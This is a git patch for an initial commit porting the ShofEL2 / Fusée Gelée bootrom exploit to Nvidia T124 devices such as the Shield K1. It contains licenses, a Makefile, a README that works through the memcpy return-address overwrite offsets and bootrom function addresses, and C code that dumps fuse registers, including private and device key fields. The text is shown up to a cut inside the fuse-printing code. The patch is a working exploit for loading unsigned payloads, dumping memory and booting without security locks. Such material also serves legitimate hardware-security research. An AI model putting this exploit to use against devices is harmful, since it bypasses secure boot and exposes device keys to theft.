From cad7c3fe99a6dbebf1f84dd5e7f97a3a7d9e6ff7 Mon Sep 17 00:00:00 2001 From: Eljakim Herrewijnen Date: Sun, 21 Nov 2021 22:06:46 +0100 Subject: [PATCH] Intial commit, Uploading payload to Nvidia shield using python works --- ShofEL2-for-T124/.gitignore | 9 + ShofEL2-for-T124/LICENSE | 27 ++ ShofEL2-for-T124/LICENSE.chromiumos | 27 ++ ShofEL2-for-T124/LICENSE.fail0verflow | 27 ++ ShofEL2-for-T124/Makefile | 77 ++++++ ShofEL2-for-T124/README.md | 63 +++++ ShofEL2-for-T124/a.out | Bin 0 -> 33892 bytes ShofEL2-for-T124/config/gdbinit | 23 ++ ShofEL2-for-T124/exploit/fuse.c | 138 ++++++++++ ShofEL2-for-T124/exploit/mini_libusb.c | 173 ++++++++++++ ShofEL2-for-T124/exploit/rcm.c | 151 +++++++++++ ShofEL2-for-T124/exploit/shofel2_t124.c | 246 ++++++++++++++++++ ShofEL2-for-T124/include/endianness.h | 17 ++ ShofEL2-for-T124/include/fuse.h | 127 +++++++++ .../include/mem_dumper_usb_server.h | 12 + ShofEL2-for-T124/include/mini_libusb.h | 37 +++ ShofEL2-for-T124/include/payload.h | 5 + ShofEL2-for-T124/include/rcm.h | 17 ++ ShofEL2-for-T124/include/t124.h | 99 +++++++ ShofEL2-for-T124/include/types.h | 20 ++ ShofEL2-for-T124/payloads/boot_bct.c | 24 ++ ShofEL2-for-T124/payloads/intermezzo.c | 55 ++++ ShofEL2-for-T124/payloads/jtag_example.c | 40 +++ .../payloads/mem_dumper_usb_server.c | 58 +++++ ShofEL2-for-T124/payloads/payload.c | 36 +++ ShofEL2-for-T124/payloads/payload.ld | 16 ++ ShofEL2-for-T124/payloads/reset_example.c | 20 ++ exploit.py | 218 ++++++++++++++++ utils.py | 143 ++++++++++ 29 files changed, 1905 insertions(+) create mode 100644 ShofEL2-for-T124/.gitignore create mode 100644 ShofEL2-for-T124/LICENSE create mode 100644 ShofEL2-for-T124/LICENSE.chromiumos create mode 100644 ShofEL2-for-T124/LICENSE.fail0verflow create mode 100644 ShofEL2-for-T124/Makefile create mode 100644 ShofEL2-for-T124/README.md create mode 100755 ShofEL2-for-T124/a.out create mode 100644 ShofEL2-for-T124/config/gdbinit create mode 100644 ShofEL2-for-T124/exploit/fuse.c create mode 100644 ShofEL2-for-T124/exploit/mini_libusb.c create mode 100644 ShofEL2-for-T124/exploit/rcm.c create mode 100644 ShofEL2-for-T124/exploit/shofel2_t124.c create mode 100644 ShofEL2-for-T124/include/endianness.h create mode 100644 ShofEL2-for-T124/include/fuse.h create mode 100644 ShofEL2-for-T124/include/mem_dumper_usb_server.h create mode 100644 ShofEL2-for-T124/include/mini_libusb.h create mode 100644 ShofEL2-for-T124/include/payload.h create mode 100644 ShofEL2-for-T124/include/rcm.h create mode 100644 ShofEL2-for-T124/include/t124.h create mode 100644 ShofEL2-for-T124/include/types.h create mode 100644 ShofEL2-for-T124/payloads/boot_bct.c create mode 100644 ShofEL2-for-T124/payloads/intermezzo.c create mode 100644 ShofEL2-for-T124/payloads/jtag_example.c create mode 100644 ShofEL2-for-T124/payloads/mem_dumper_usb_server.c create mode 100644 ShofEL2-for-T124/payloads/payload.c create mode 100644 ShofEL2-for-T124/payloads/payload.ld create mode 100644 ShofEL2-for-T124/payloads/reset_example.c create mode 100644 exploit.py create mode 100644 utils.py diff --git a/ShofEL2-for-T124/.gitignore b/ShofEL2-for-T124/.gitignore new file mode 100644 index 0000000..e47fda8 --- /dev/null +++ b/ShofEL2-for-T124/.gitignore @@ -0,0 +1,9 @@ +*.bin +*.elf +build/ +!*.keep +*.d +*.idb +.*.swp +*.o +shofel2_t124 diff --git a/ShofEL2-for-T124/LICENSE b/ShofEL2-for-T124/LICENSE new file mode 100644 index 0000000..4f9fb9f --- /dev/null +++ b/ShofEL2-for-T124/LICENSE @@ -0,0 +1,27 @@ +// Copyright (c) 2020 lordrafa. All rights reserved. +// +// Redistribution and use in source and binary forms, with or without +// modification, are permitted provided that the following conditions are +// met: +// +// * Redistributions of source code must retain the above copyright +// notice, this list of conditions and the following disclaimer. +// * Redistributions in binary form must reproduce the above +// copyright notice, this list of conditions and the following disclaimer +// in the documentation and/or other materials provided with the +// distribution. +// * Neither my name nor the names of its +// contributors may be used to endorse or promote products derived from +// this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/ShofEL2-for-T124/LICENSE.chromiumos b/ShofEL2-for-T124/LICENSE.chromiumos new file mode 100644 index 0000000..d251496 --- /dev/null +++ b/ShofEL2-for-T124/LICENSE.chromiumos @@ -0,0 +1,27 @@ +// Copyright (c) 2010 The Chromium OS Authors. All rights reserved. +// +// Redistribution and use in source and binary forms, with or without +// modification, are permitted provided that the following conditions are +// met: +// +// * Redistributions of source code must retain the above copyright +// notice, this list of conditions and the following disclaimer. +// * Redistributions in binary form must reproduce the above +// copyright notice, this list of conditions and the following disclaimer +// in the documentation and/or other materials provided with the +// distribution. +// * Neither the name of Google Inc. nor the names of its +// contributors may be used to endorse or promote products derived from +// this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/ShofEL2-for-T124/LICENSE.fail0verflow b/ShofEL2-for-T124/LICENSE.fail0verflow new file mode 100644 index 0000000..eaa95ae --- /dev/null +++ b/ShofEL2-for-T124/LICENSE.fail0verflow @@ -0,0 +1,27 @@ +// Copyright (c) 2018 Team fail0verflow. All rights reserved. +// +// Redistribution and use in source and binary forms, with or without +// modification, are permitted provided that the following conditions are +// met: +// +// * Redistributions of source code must retain the above copyright +// notice, this list of conditions and the following disclaimer. +// * Redistributions in binary form must reproduce the above +// copyright notice, this list of conditions and the following disclaimer +// in the documentation and/or other materials provided with the +// distribution. +// * Neither the name of fail0verflow nor the names of its +// contributors may be used to endorse or promote products derived from +// this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/ShofEL2-for-T124/Makefile b/ShofEL2-for-T124/Makefile new file mode 100644 index 0000000..a43de98 --- /dev/null +++ b/ShofEL2-for-T124/Makefile @@ -0,0 +1,77 @@ +CFLAGS := -Wall -Werror -I include -MMD + +CFLAGS := -Wall -Werror -I include -MMD -Wno-unused-variable + +BIN_FILES = reset_example.bin jtag_example.bin intermezzo.bin boot_bct.bin payload.bin + +all: shofel2_t124 $(BIN_FILES) + +# --------- x86 ---------- + +CC_x86 = gcc +CFLAGS_x86 := $(CFLAGS) +# shameless copypasta from https://stackoverflow.com/a/2908351/375416 +C_FILES_x86:= $(wildcard exploit/*.c) +OBJ_FILES_x86 := $(addprefix build/obj_x86/,$(notdir $(C_FILES_x86:.c=.o))) +-include $(OBJ_FILES_x86:.o=.d) + +build/obj_x86/%.o: exploit/%.c + $(CC_x86) $(CFLAGS_x86) -c -o $@ $< + +shofel2_t124: $(OBJ_FILES_x86) + $(CC_x86) $(CFLAGS_x86) -o $@ $^ + +# ------------------------ + + +# ----- ARMv4t Thumb ----- +TOOLCHAIN_ARM := $(TOOLCHAINENV)/gcc-arm-none-eabi-10-2020-q4-major/bin/arm-none-eabi- + +CC_ARM = $(TOOLCHAIN_ARM)gcc +AS_ARM = $(TOOLCHAIN_ARM)as +OBJCOPY_ARM = $(TOOLCHAIN_ARM)objcopy + +CFLAGS_ARM := $(CFLAGS) -march=armv4t -mthumb -Os -ffreestanding \ + -fno-common -fomit-frame-pointer -nostdlib -fno-builtin-printf \ + -fno-asynchronous-unwind-tables -fPIE -fno-builtin -fno-exceptions \ + -Wl,--no-dynamic-linker,--build-id=none,-T,payloads/payload.ld + +# shameless copypasta from https://stackoverflow.com/a/2908351/375416 +C_FILES_ARM := $(wildcard payloads/*.c) +OBJ_FILES_ARM := $(addprefix build/obj_arm/,$(notdir $(C_FILES_ARM:.c=.o))) +-include $(OBJ_FILES_ARM:.o=.d) + +build/obj_arm/%.o: payloads/%.c + $(CC_ARM) $(CFLAGS_ARM) -c -o $@ $< + +build/reset_example.elf: build/obj_arm/reset_example.o + $(CC_ARM) $(CFLAGS_ARM) -o $@ $^ + +build/jtag_example.elf: build/obj_arm/jtag_example.o + $(CC_ARM) $(CFLAGS_ARM) -o $@ $^ + +build/boot_bct.elf: build/obj_arm/boot_bct.o + $(CC_ARM) $(CFLAGS_ARM) -o $@ $^ + +build/mem_dumper_usb_server.elf: build/obj_arm/mem_dumper_usb_server.o + $(CC_ARM) $(CFLAGS_ARM) -o $@ $^ + +build/payload.elf: build/obj_arm/payload.o + $(CC_ARM) $(CFLAGS_ARM) -o $@ $^ + +build/intermezzo.elf: build/obj_arm/intermezzo.o + $(CC_ARM) $(CFLAGS_ARM) -o $@ $^ + +%.bin: build/%.elf + $(OBJCOPY_ARM) -O binary $< $@ + +# ------------------------ + + +clean: + rm -f $(OBJ_FILES_ARM) $(OBJ_FILES_x86) + rm -f shofel2_t124 build/*.elf $(BIN_FILES) + +cleanall: clean + rm -f build/obj_arm/*.d build/obj_x86/*.d + diff --git a/ShofEL2-for-T124/README.md b/ShofEL2-for-T124/README.md new file mode 100644 index 0000000..64a09fe --- /dev/null +++ b/ShofEL2-for-T124/README.md @@ -0,0 +1,63 @@ +# ShofEL2 for T124 + +This is a Fusee Gelee / ShofEL2 exploit port for the Nvidia T124 (a.k.a Jetson TK1, Shield K1, etc). + +Currently this code allows you to download and execute a payload to the T124, dump the fuses and memory and boot bct without apply the locks. + +Mostly of my code is based on the original ShofEL2 code and Katherine Temkin research, so I cannot take that much credit for this. + +See the original fail0verflow blog post: https://fail0verflow.com/blog/2018/shofel2/ +See additional info at the original Katherine Temkin github: https://github.com/Qyriad/fusee-launcher/blob/master/report/fusee_gelee.md + +## Obligatory disclaimer + +This code is provided without any warranty, use under your own resposability. + +## Usage + +You need an arm-*-eabi toolkit. You can use [Crosstool-ng](https://crosstool-ng.github.io/download/) compile it. + +Build the loader and payloads: + + $ cd ShofEL2-for-T124 + $ make + +Usage + + $ ./shofel2_t124 ( MEM_DUMP | READ_FUSES | BOOT_BCT | PAYLOAD ) [options] + $ MEM_DUMP address length out_file -> Dumps "length" bytes starting from "address" to "out_file". + $ READ_FUSES out_file -> Dumps the T124 fuses to "out_file" and show them in console. + $ BOOT_BCT -> Boots BCT without applying locks. + $ PAYLOAD payload.bin [arm|thumb] -> Boots "payload.bin" the entrymode mode can be specified (thumb by default) + + +## Interesting facts (maybe some of them wrong) + +* RCM loads the payload to IRAM at 0x4000E000 (described on tegrarcm source code). +* RCM cmd format is sligitly different. RCM cmd header length is 0x284 bytes but the firtst 4 bytes still containing the RCM cmd length. +* RCM cmd length restrictions are different to X1 bootrom: + * Bulk transfers need to be multiply of 0x1000 to ensure use the whole usb buffer. + * RCM cmd length minus 0x284 (header length) must be a multiple of 0x10 (which means RCM CMD length needs to end in 4). + * RCM cmd min length is 0x404 bytes. Due to the previous condition the minimun length would be 0x1004. + * RCM cmd length cannot exceed avaiable IRAM for the payload (from 0x4000E000 till 0x4003FFFF). + * With all this in mind max RCM cmd length is 0x32274 bytes. + * Since the exploit uses usb buffer 2, only 0x31000 bytes can be used for the payload in order to avoid finishing the RCM cmd. +* A payload can still be loaded using the same path as the one used by the original shofEL2, since no validation is carried out till the whole payload is received. +* Even if the specs says that the JTAG is enabled by default, cold bootrom code disasbles it while is runnig (not as dumb as expected :D). +* RCM runs on an ARM7TDMI core, I manage to halt the CPU on uboot using a Segger J-LINK. +* When the poisoned get status is executed, 0x30C bytes will be copied before the payload. These bytes are part of the execution stack, starting with the USB status var. +* Using the original sanity_check function from shofel2, I got from the execution stack that the RCM USB buffers are located at 0x40004000 and 0x40008000. +* Two USB buffers of 0x1000 bytes still present. They still alternating on each USB txn. And odd number of USB txn will let you on the hight buffer for the next txn. +* Using the original sanity_check function from shofel2, I got from the execution stack that the memcpy return address is located at 0x4000DCD8 (0x4000DCF4 - 0xC - 2 * 4 - 2 * 4). +* The position in the RCM cmd where the entry adress need to be write to smash the memcpy return address is calculated as follow: + * n_bytes_to_copy = 0x4000DCD8 - 0x40008000 (memcpy_ret_add_loc - usb_buf2_add) -> n_bytes_to_copy = 0x5CD8 bytes + * pos_in_payload = n_bytes_to_copy - 0x30C (copied from the execution stack) - 0x4 -> pos_in_payload = 0x59C8 + * pos_in_rcm_cmd = pos_in_payload + 0x284 (header length) -> pos_in_rcm_cmd = 0x5C4C +* I found the following functions on the the bootrom: + +| Function | IROM Address | Description | +| ------------- | ------------- | ------------- | +| void ep1_in_write_imm(void *buffer, u32 size, u32 *num_xfer) | 0x001065C0 | Writes EP1_IN | +| void ep1_out_read_imm(void *buffer, u32 size, u32 *num_xfer) | 0x00106612 | Reads EP1_OUT | +| void do_bct_boot() | 0x00100624 | Boots BCT without applying locks. | + diff --git a/ShofEL2-for-T124/a.out b/ShofEL2-for-T124/a.out new file mode 100755 index 0000000000000000000000000000000000000000..122e38df27cb230e81a63b38090f3dd8a34372f5 GIT binary patch literal 33892 zcmeIx&rcIk5Ww--?G`~2Q}7o`f;C_)Ce#)hLp*_q7$b%lyphyxy9pJxt?d%wVB8Qr zdGrs_gWfoL^y2?u!r6-_qt4symZtIG(Zly8Z|BXt*~j*?%d6Fg_bkhjWZ04ulR2SC zN#oB$z1Wg2NmlDQ8Ij>=U#q>b7>bygjw&Z-^%__pfB*srAbV3gl6Bdda{jIv#^sb)(ZcEFcD&KOrX)3x$LB4E@qH;t zcTb4h9QpoxRF_VumuT2>Mq?q2GZ9JwA_Q;rd!KbWhRiBn(TEd@jbuVI*@X?(&>~tf!hws zFUSE_PRODUCTION_MODE ); + printf( "FUSE_JTAG_SECUREID_VALID: %08x\n", fuse_chip_registers->FUSE_JTAG_SECUREID_VALID ); + printf( "FUSE_ODM_LOCK: %08x\n", fuse_chip_registers->FUSE_ODM_LOCK ); + printf( "FUSE_OPT_OPENGL_EN: %08x\n", fuse_chip_registers->FUSE_OPT_OPENGL_EN ); + printf( "FUSE_SKU_INFO: %08x\n", fuse_chip_registers->FUSE_SKU_INFO ); + printf( "FUSE_CPU_SPEEDO_0_CALIB: %08x\n", fuse_chip_registers->FUSE_CPU_SPEEDO_0_CALIB ); + printf( "FUSE_CPU_IDDQ_CALIB: %08x\n", fuse_chip_registers->FUSE_CPU_IDDQ_CALIB ); + printf( "RESERVED_0x01C: %08x\n", fuse_chip_registers->RESERVED_0x01C ); + printf( "RESERVED_0x020: %08x\n", fuse_chip_registers->RESERVED_0x020 ); + printf( "RESERVED_0x024: %08x\n", fuse_chip_registers->RESERVED_0x024 ); + printf( "FUSE_OPT_FT_REV: %08x\n", fuse_chip_registers->FUSE_OPT_FT_REV ); + printf( "FUSE_CPU_SPEEDO_1_CALIB: %08x\n", fuse_chip_registers->FUSE_CPU_SPEEDO_1_CALIB ); + printf( "FUSE_CPU_SPEEDO_2_CALIB: %08x\n", fuse_chip_registers->FUSE_CPU_SPEEDO_2_CALIB ); + printf( "FUSE_SOC_SPEEDO_0_CALIB: %08x\n", fuse_chip_registers->FUSE_SOC_SPEEDO_0_CALIB ); + printf( "FUSE_SOC_SPEEDO_1_CALIB: %08x\n", fuse_chip_registers->FUSE_SOC_SPEEDO_1_CALIB ); + printf( "FUSE_SOC_SPEEDO_2_CALIB: %08x\n", fuse_chip_registers->FUSE_SOC_SPEEDO_2_CALIB ); + printf( "FUSE_SOC_IDDQ_CALIB: %08x\n", fuse_chip_registers->FUSE_SOC_IDDQ_CALIB ); + printf( "RESERVED_0x044: %08x\n", fuse_chip_registers->RESERVED_0x044 ); + printf( "FUSE_FA: %08x\n", fuse_chip_registers->FUSE_FA ); + printf( "FUSE_RESERVED_PRODUCTION: %08x\n", fuse_chip_registers->FUSE_RESERVED_PRODUCTION ); + printf( "FUSE_HDMI_LANE0_CALIB: %08x\n", fuse_chip_registers->FUSE_HDMI_LANE0_CALIB ); + printf( "FUSE_HDMI_LANE1_CALIB: %08x\n", fuse_chip_registers->FUSE_HDMI_LANE1_CALIB ); + printf( "FUSE_HDMI_LANE2_CALIB: %08x\n", fuse_chip_registers->FUSE_HDMI_LANE2_CALIB ); + printf( "FUSE_HDMI_LANE3_CALIB: %08x\n", fuse_chip_registers->FUSE_HDMI_LANE3_CALIB ); + printf( "FUSE_ENCRYPTION_RATE: %08x\n", fuse_chip_registers->FUSE_ENCRYPTION_RATE ); + printf( "FUSE_PUBLIC_KEY 0-3: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_PUBLIC_KEY[0], fuse_chip_registers->FUSE_PUBLIC_KEY[1], fuse_chip_registers->FUSE_PUBLIC_KEY[2], fuse_chip_registers->FUSE_PUBLIC_KEY[3] ); + printf( "FUSE_PUBLIC_KEY 4-7: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_PUBLIC_KEY[4], fuse_chip_registers->FUSE_PUBLIC_KEY[5], fuse_chip_registers->FUSE_PUBLIC_KEY[6], fuse_chip_registers->FUSE_PUBLIC_KEY[7] ); + printf( "FUSE_TSENSOR1_CALIB: %08x\n", fuse_chip_registers->FUSE_TSENSOR1_CALIB ); + printf( "FUSE_TSENSOR2_CALIB: %08x\n", fuse_chip_registers->FUSE_TSENSOR2_CALIB ); + printf( "RESERVED_0x08C: %08x\n", fuse_chip_registers->RESERVED_0x08C ); + printf( "FUSE_OPT_CP_REV: %08x\n", fuse_chip_registers->FUSE_OPT_CP_REV ); + printf( "FUSE_OPT_PFG: %08x\n", fuse_chip_registers->FUSE_OPT_PFG ); + printf( "FUSE_TSENSOR0_CALIB: %08x\n", fuse_chip_registers->FUSE_TSENSOR0_CALIB ); + printf( "FUSE_BOOTROM_PATCH_SIZE: %08x\n", fuse_chip_registers->FUSE_BOOTROM_PATCH_SIZE ); + printf( "FUSE_SECURITY_MODE: %08x\n", fuse_chip_registers->FUSE_SECURITY_MODE ); + printf( "FUSE_PRIVATE_KEY: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_PRIVATE_KEY[0], fuse_chip_registers->FUSE_PRIVATE_KEY[1], fuse_chip_registers->FUSE_PRIVATE_KEY[2], fuse_chip_registers->FUSE_PRIVATE_KEY[3] ); + printf( "FUSE_DEVICE_KEY: %08x\n", fuse_chip_registers->FUSE_DEVICE_KEY ); + printf( "FUSE_ARM_DEBUG_DIS: %08x\n", fuse_chip_registers->FUSE_ARM_DEBUG_DIS ); + printf( "FUSE_BOOT_DEVICE_INFO: %08x\n", fuse_chip_registers->FUSE_BOOT_DEVICE_INFO ); + printf( "FUSE_RESERVED_SW: %08x\n", fuse_chip_registers->FUSE_RESERVED_SW ); + printf( "FUSE_VP8_ENABLE: %08x\n", fuse_chip_registers->FUSE_VP8_ENABLE ); + printf( "FUSE_RESERVED_ODM 0-3: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_RESERVED_ODM[0], fuse_chip_registers->FUSE_RESERVED_ODM[1], fuse_chip_registers->FUSE_RESERVED_ODM[2], fuse_chip_registers->FUSE_RESERVED_ODM[3] ); + printf( "FUSE_RESERVED_ODM 4-7: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_RESERVED_ODM[4], fuse_chip_registers->FUSE_RESERVED_ODM[5], fuse_chip_registers->FUSE_RESERVED_ODM[6], fuse_chip_registers->FUSE_RESERVED_ODM[7] ); + printf( "FUSE_OBS_DIS: %08x\n", fuse_chip_registers->FUSE_OBS_DIS ); + printf( "RESERVED_0x0EC: %08x\n", fuse_chip_registers->RESERVED_0x0EC ); + printf( "FUSE_USB_CALIB: %08x\n", fuse_chip_registers->FUSE_USB_CALIB ); + printf( "FUSE_SKU_DIRECT_CONFIG: %08x\n", fuse_chip_registers->FUSE_SKU_DIRECT_CONFIG ); + printf( "FUSE_KFUSE_PRIVKEY_CTRL: %08x\n", fuse_chip_registers->FUSE_KFUSE_PRIVKEY_CTRL ); + printf( "FUSE_PACKAGE_INFO: %08x\n", fuse_chip_registers->FUSE_PACKAGE_INFO ); + printf( "FUSE_OPT_VENDOR_CODE: %08x\n", fuse_chip_registers->FUSE_OPT_VENDOR_CODE ); + printf( "FUSE_OPT_FAB_CODE: %08x\n", fuse_chip_registers->FUSE_OPT_FAB_CODE ); + printf( "FUSE_OPT_LOT_CODE_0: %08x\n", fuse_chip_registers->FUSE_OPT_LOT_CODE_0 ); + printf( "FUSE_OPT_LOT_CODE_1: %08x\n", fuse_chip_registers->FUSE_OPT_LOT_CODE_1 ); + printf( "FUSE_OPT_WAFER_ID: %08x\n", fuse_chip_registers->FUSE_OPT_WAFER_ID ); + printf( "FUSE_OPT_X_COORDINATE: %08x\n", fuse_chip_registers->FUSE_OPT_X_COORDINATE ); + printf( "FUSE_OPT_Y_COORDINATE: %08x\n", fuse_chip_registers->FUSE_OPT_Y_COORDINATE ); + printf( "FUSE_OPT_SEC_DEBUG_EN: %08x\n", fuse_chip_registers->FUSE_OPT_SEC_DEBUG_EN ); + printf( "FUSE_OPT_OPS_RESERVED: %08x\n", fuse_chip_registers->FUSE_OPT_OPS_RESERVED ); + printf( "FUSE_SATA_CALIB: %08x\n", fuse_chip_registers->FUSE_SATA_CALIB ); + printf( "FUSE_GPU_IDDQ_CALIB: %08x\n", fuse_chip_registers->FUSE_GPU_IDDQ_CALIB ); + printf( "FUSE_TSENSOR3_CALIB: %08x\n", fuse_chip_registers->FUSE_TSENSOR3_CALIB ); + printf( "FUSE_SKU_BOND_OUT_L: %08x\n", fuse_chip_registers->FUSE_SKU_BOND_OUT_L ); + printf( "FUSE_SKU_BOND_OUT_H: %08x\n", fuse_chip_registers->FUSE_SKU_BOND_OUT_H ); + printf( "FUSE_SKU_BOND_OUT_U: %08x\n", fuse_chip_registers->FUSE_SKU_BOND_OUT_U ); + printf( "FUSE_SKU_BOND_OUT_V: %08x\n", fuse_chip_registers->FUSE_SKU_BOND_OUT_V ); + printf( "FUSE_SKU_BOND_OUT_W: %08x\n", fuse_chip_registers->FUSE_SKU_BOND_OUT_W ); + printf( "RESERVED_0x144: %08x\n", fuse_chip_registers->RESERVED_0x144 ); + printf( "FUSE_OPT_SUBREVISION: %08x\n", fuse_chip_registers->FUSE_OPT_SUBREVISION ); + printf( "FUSE_OPT_SW_RESERVED_0: %08x\n", fuse_chip_registers->FUSE_OPT_SW_RESERVED_0 ); + printf( "FUSE_OPT_SW_RESERVED_1: %08x\n", fuse_chip_registers->FUSE_OPT_SW_RESERVED_1 ); + printf( "FUSE_TSENSOR4_CALIB: %08x\n", fuse_chip_registers->FUSE_TSENSOR4_CALIB ); + printf( "FUSE_TSENSOR5_CALIB: %08x\n", fuse_chip_registers->FUSE_TSENSOR5_CALIB ); + printf( "FUSE_TSENSOR6_CALIB: %08x\n", fuse_chip_registers->FUSE_TSENSOR6_CALIB ); + printf( "FUSE_TSENSOR7_CALIB: %08x\n", fuse_chip_registers->FUSE_TSENSOR7_CALIB ); + printf( "FUSE_OPT_PRIV_SEC_EN: %08x\n", fuse_chip_registers->FUSE_OPT_PRIV_SEC_EN ); + printf( "FUSE_PKC_DISABLE: %08x\n", fuse_chip_registers->FUSE_PKC_DISABLE ); + printf( "RESERVED_0x16C: %08x\n", fuse_chip_registers->RESERVED_0x16C ); + printf( "RESERVED_0x170: %08x\n", fuse_chip_registers->RESERVED_0x170 ); + printf( "RESERVED_0x174: %08x\n", fuse_chip_registers->RESERVED_0x174 ); + printf( "RESERVED_0x178: %08x\n", fuse_chip_registers->RESERVED_0x178 ); + printf( "FUSE_FUSE2TSEC_DEBUG_DISABLE: %08x\n", fuse_chip_registers->FUSE_FUSE2TSEC_DEBUG_DISABLE ); + printf( "FUSE_TSENSOR8_CALIB: %08x\n", fuse_chip_registers->FUSE_TSENSOR8_CALIB ); + printf( "FUSE_OPT_CP_BIN: %08x\n", fuse_chip_registers->FUSE_OPT_CP_BIN ); + printf( "FUSE_OPT_GPU_FS: %08x\n", fuse_chip_registers->FUSE_OPT_GPU_FS ); + printf( "FUSE_OPT_FT_BIN: %08x\n", fuse_chip_registers->FUSE_OPT_FT_BIN ); + printf( "RESERVED_0x190: %08x\n", fuse_chip_registers->RESERVED_0x190 ); + printf( "FUSE_SKU_BOND_OUT_X: %08x\n", fuse_chip_registers->FUSE_SKU_BOND_OUT_X ); + printf( "FUSE_APB2JTAG_DISABLE: %08x\n", fuse_chip_registers->FUSE_APB2JTAG_DISABLE ); + printf( "RESERVED_0x19C: %08x\n", fuse_chip_registers->RESERVED_0x19C ); + printf( "FUSE_PHY_FLOORSWEEP: %08x\n", fuse_chip_registers->FUSE_PHY_FLOORSWEEP ); + printf( "FUSE_PHY_FLOOR_ENABLE: %08x\n", fuse_chip_registers->FUSE_PHY_FLOOR_ENABLE ); + printf( "FUSE_ARM_CRYPT_DE_FEATURE: %08x\n", fuse_chip_registers->FUSE_ARM_CRYPT_DE_FEATURE ); + printf( "FUSE_DENVER_MTS_DE_FEATURE: %08x\n", fuse_chip_registers->FUSE_DENVER_MTS_DE_FEATURE ); + printf( "FUSE_DIE_VERSION_OVERRIDE: %08x\n", fuse_chip_registers->FUSE_DIE_VERSION_OVERRIDE ); + printf( "FUSE_TRIMMERS: %08x\n", fuse_chip_registers->FUSE_TRIMMERS ); + printf( "FUSE_DENVER_BOOT_SEC: %08x\n", fuse_chip_registers->FUSE_DENVER_BOOT_SEC ); + printf( "FUSE_DENVER_DFD_ACCESS: %08x\n", fuse_chip_registers->FUSE_DENVER_DFD_ACCESS ); + printf( "FUSE_WOA_SKU_FLAG: %08x\n", fuse_chip_registers->FUSE_WOA_SKU_FLAG ); + printf( "FUSE_ECO_RESERVE_1: %08x\n", fuse_chip_registers->FUSE_ECO_RESERVE_1 ); + printf( "FUSE_GCPLEX_CONFIG_FUSE: %08x\n", fuse_chip_registers->FUSE_GCPLEX_CONFIG_FUSE ); + printf( "RESERVED_0x1CC: %08x\n", fuse_chip_registers->RESERVED_0x1CC ); + printf( "RESERVED_0x1D0: %08x\n", fuse_chip_registers->RESERVED_0x1D0 ); + printf( "RESERVED_0x1D4: %08x\n", fuse_chip_registers->RESERVED_0x1D4 ); + printf( "RESERVED_0x1D8: %08x\n", fuse_chip_registers->RESERVED_0x1D8 ); + printf( "RESERVED_0x1DC: %08x\n", fuse_chip_registers->RESERVED_0x1DC ); + printf( "RESERVED_0x1E0: %08x\n", fuse_chip_registers->RESERVED_0x1E0 ); + printf( "RESERVED_0x1E4: %08x\n", fuse_chip_registers->RESERVED_0x1E4 ); + printf( "RESERVED_0x1E8: %08x\n", fuse_chip_registers->RESERVED_0x1E8 ); + printf( "RESERVED_0x1EC: %08x\n", fuse_chip_registers->RESERVED_0x1EC ); + printf( "RESERVED_0x1F0: %08x\n", fuse_chip_registers->RESERVED_0x1F0 ); + printf( "RESERVED_0x1F4: 